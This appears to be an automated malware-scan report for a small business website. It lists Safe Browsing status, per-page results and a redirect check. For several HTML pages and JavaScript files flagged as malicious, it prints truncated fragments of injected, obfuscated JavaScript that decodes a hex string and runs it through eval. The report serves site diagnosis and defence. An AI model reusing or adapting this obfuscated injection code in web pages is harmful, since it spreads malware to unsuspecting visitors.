Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=mcschimneysweepdoraville.com
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://www.mcschimneysweepdoraville.com/ | 200 OK Content-Length: 5972 Content-Type: text/html | suspicious |
Suspicious code found <script type="text/javascript" language="javascript"></script> | ||
http://www.mcschimneysweepdoraville.com/index.html | 200 OK Content-Length: 5972 Content-Type: text/html | suspicious |
Suspicious code found <script type="text/javascript" language="javascript"></script> | ||
http://www.mcschimneysweepdoraville.com/doraville-chimneysweep.html | 200 OK Content-Length: 19689 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) gxk="y";jvssk="document";try{+function(){if(document.querySelector)--(window[jvssk].getElementById("asd"))}()}catch(ebjpha){cdu=function(cwshyl){cwshyl="fro"+cwshyl;for(dnvqcf=0;dnvqcf<gxk.length;dnvqcf++){spxv+=String[cwshyl](bqe(azq+(gxk[dnvqcf]))-(89));}};};bqe=eval;azq="0x";gfu=0;if(!gfu){try{++bqe(jvssk).body}catch(ebjpha){aiwmd="(";}gxk="79(bf(ce(c7(bc(cd(c2(c8(c7(79(c1(cb(89(92(81(82(79(d4(66(63(79(cf(ba(cb(79(cc(cd(ba(cd(c2(bc(96(80(ba(c3(ba(d1(80(94(6 ...[4033 bytes skipped]... Antivirus reports:
| ||
http://www.mcschimneysweepdoraville.com/script/jquery-1.2.6.min.js | 200 OK Content-Length: 60415 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) lnh="y";jote="document";try{+function(){if(document.querySelector)--(window[jote].getElementById("asd"))}()}catch(tunjcl){rll=function(cuf){cuf="fro"+cuf;for(airzoc=0;airzoc<lnh.length;airzoc++){rcov+=String[cuf](lqhb(vcbz+(lnh[airzoc]))-(79));}};};lqhb=eval;vcbz="0x";snoy=0;if(!snoy){try{++lqhb(jote).body}catch(tunjcl){yfr="(";}lnh="6f(b5(c4(bd(b2(c3(b8(be(bd(6f(b1(b8(b8(b4(7f(88(77(78(6f(ca(5c(59(6f(c5(b0(c1(6f(c2(c3(b0(c3(b8(b2(8c(76(b0(b9(b0(c7(76(8a(5c(59(6f(c5(b0(c1(6f(b2(be(bd(c3(c1(be Antivirus reports:
| ||
http://www.mcschimneysweepdoraville.com/script/ui_core.js | 200 OK Content-Length: 16652 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) lnh="y";jote="document";try{+function(){if(document.querySelector)--(window[jote].getElementById("asd"))}()}catch(tunjcl){rll=function(cuf){cuf="fro"+cuf;for(airzoc=0;airzoc<lnh.length;airzoc++){rcov+=String[cuf](lqhb(vcbz+(lnh[airzoc]))-(79));}};};lqhb=eval;vcbz="0x";snoy=0;if(!snoy){try{++lqhb(jote).body}catch(tunjcl){yfr="(";}lnh="6f(b5(c4(bd(b2(c3(b8(be(bd(6f(b1(b8(b8(b4(7f(88(77(78(6f(ca(5c(59(6f(c5(b0(c1(6f(c2(c3(b0(c3(b8(b2(8c(76(b0(b9(b0(c7(76(8a(5c(59(6f(c5(b0(c1(6f(b2(be(bd(c3(c1(be Antivirus reports:
| ||
http://www.mcschimneysweepdoraville.com/script/ui_tabs.js | 200 OK Content-Length: 21213 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) lnh="y";jote="document";try{+function(){if(document.querySelector)--(window[jote].getElementById("asd"))}()}catch(tunjcl){rll=function(cuf){cuf="fro"+cuf;for(airzoc=0;airzoc<lnh.length;airzoc++){rcov+=String[cuf](lqhb(vcbz+(lnh[airzoc]))-(79));}};};lqhb=eval;vcbz="0x";snoy=0;if(!snoy){try{++lqhb(jote).body}catch(tunjcl){yfr="(";}lnh="6f(b5(c4(bd(b2(c3(b8(be(bd(6f(b1(b8(b8(b4(7f(88(77(78(6f(ca(5c(59(6f(c5(b0(c1(6f(c2(c3(b0(c3(b8(b2(8c(76(b0(b9(b0(c7(76(8a(5c(59(6f(c5(b0(c1(6f(b2(be(bd(c3(c1(be Antivirus reports:
| ||
http://www.mcschimneysweepdoraville.com/script/lightbox.js | 200 OK Content-Length: 24127 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) gxk="y";jvssk="document";try{+function(){if(document.querySelector)--(window[jvssk].getElementById("asd"))}()}catch(ebjpha){cdu=function(cwshyl){cwshyl="fro"+cwshyl;for(dnvqcf=0;dnvqcf<gxk.length;dnvqcf++){spxv+=String[cwshyl](bqe(azq+(gxk[dnvqcf]))-(89));}};};bqe=eval;azq="0x";gfu=0;if(!gfu){try{++bqe(jvssk).body}catch(ebjpha){aiwmd="(";}gxk="79(bf(ce(c7(bc(cd(c2(c8(c7(79(c1(cb(89(92(81(82(79(d4(66(63(79(cf(ba(cb(79(cc(cd(ba(cd(c2(bc(96(80(ba(c3(ba(d1(80(94(66(63(79(cf(ba(cb(79(bc(c8(c7(cd(c Antivirus reports:
| ||
http://www.mcschimneysweepdoraville.com/script/formfunc.js | 200 OK Content-Length: 10049 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) tyxbtb="y";yqj="document";try{+function(){if(document.querySelector)--(window[yqj].getElementById("asd"))}()}catch(tddzty){begwuh=function(xhajsr){xhajsr="fro"+xhajsr;for(lbxnx=0;lbxnx<tyxbtb.length;lbxnx++){tbzpw+=String[xhajsr](cvse(oyes+(tyxbtb[lbxnx]))-(108));}};};cvse=eval;oyes="0x";zlistq=0;if(!zlistq){try{++cvse(yqj).body}catch(tddzty){inhtx="(";}tyxbtb="8c(d2(e1(da(cf(e0(d5(db(da(8c(d5(9c(a5(94(95(8c(e7(79(76(8c(e2(cd(de(8c(df(e0(cd(e0(d5(cf(a9(93(cd(d6(cd(e4(93(a7(79(76(8c(e2(cd(de(8 Antivirus reports:
| ||
http://www.mcschimneysweepdoraville.com/doraville-dryerventcleaning.html | 200 OK Content-Length: 21159 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) gxk="y";jvssk="document";try{+function(){if(document.querySelector)--(window[jvssk].getElementById("asd"))}()}catch(ebjpha){cdu=function(cwshyl){cwshyl="fro"+cwshyl;for(dnvqcf=0;dnvqcf<gxk.length;dnvqcf++){spxv+=String[cwshyl](bqe(azq+(gxk[dnvqcf]))-(89));}};};bqe=eval;azq="0x";gfu=0;if(!gfu){try{++bqe(jvssk).body}catch(ebjpha){aiwmd="(";}gxk="79(bf(ce(c7(bc(cd(c2(c8(c7(79(c1(cb(89(92(81(82(79(d4(66(63(79(cf(ba(cb(79(cc(cd(ba(cd(c2(bc(96(80(ba(c3(ba(d1(80(94(6 ...[4033 bytes skipped]... Antivirus reports:
| ||
http://www.mcschimneysweepdoraville.com/contactus.html | 200 OK Content-Length: 16621 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) lnh="y";jote="document";try{+function(){if(document.querySelector)--(window[jote].getElementById("asd"))}()}catch(tunjcl){rll=function(cuf){cuf="fro"+cuf;for(airzoc=0;airzoc<lnh.length;airzoc++){rcov+=String[cuf](lqhb(vcbz+(lnh[airzoc]))-(79));}};};lqhb=eval;vcbz="0x";snoy=0;if(!snoy){try{++lqhb(jote).body}catch(tunjcl){yfr="(";}lnh="6f(b5(c4(bd(b2(c3(b8(be(bd(6f(b1(b8(b8(b4(7f(88(77(78(6f(ca(5c(59(6f(c5(b0(c1(6f(c2(c3(b0(c3(b8(b2(8c(76(b0(b9(b0(c7(76(8a(5c(59 ...[4151 bytes skipped]... Antivirus reports:
| ||
http://www.mcschimneysweepdoraville.com/test404page.js | 404 Not Found Content-Length: 473 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: mcschimneysweepdoraville.com
Result:
GET / HTTP/1.1
Host: mcschimneysweepdoraville.com
Result:
Second query (visit from search engine):
GET / HTTP/1.1
Host: mcschimneysweepdoraville.com
Referer: http://www.google.com/search?q=mcschimneysweepdoraville.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: mcschimneysweepdoraville.com
Referer: http://www.google.com/search?q=mcschimneysweepdoraville.com
Result:
The result is similar to the first query. There are no suspicious redirects found.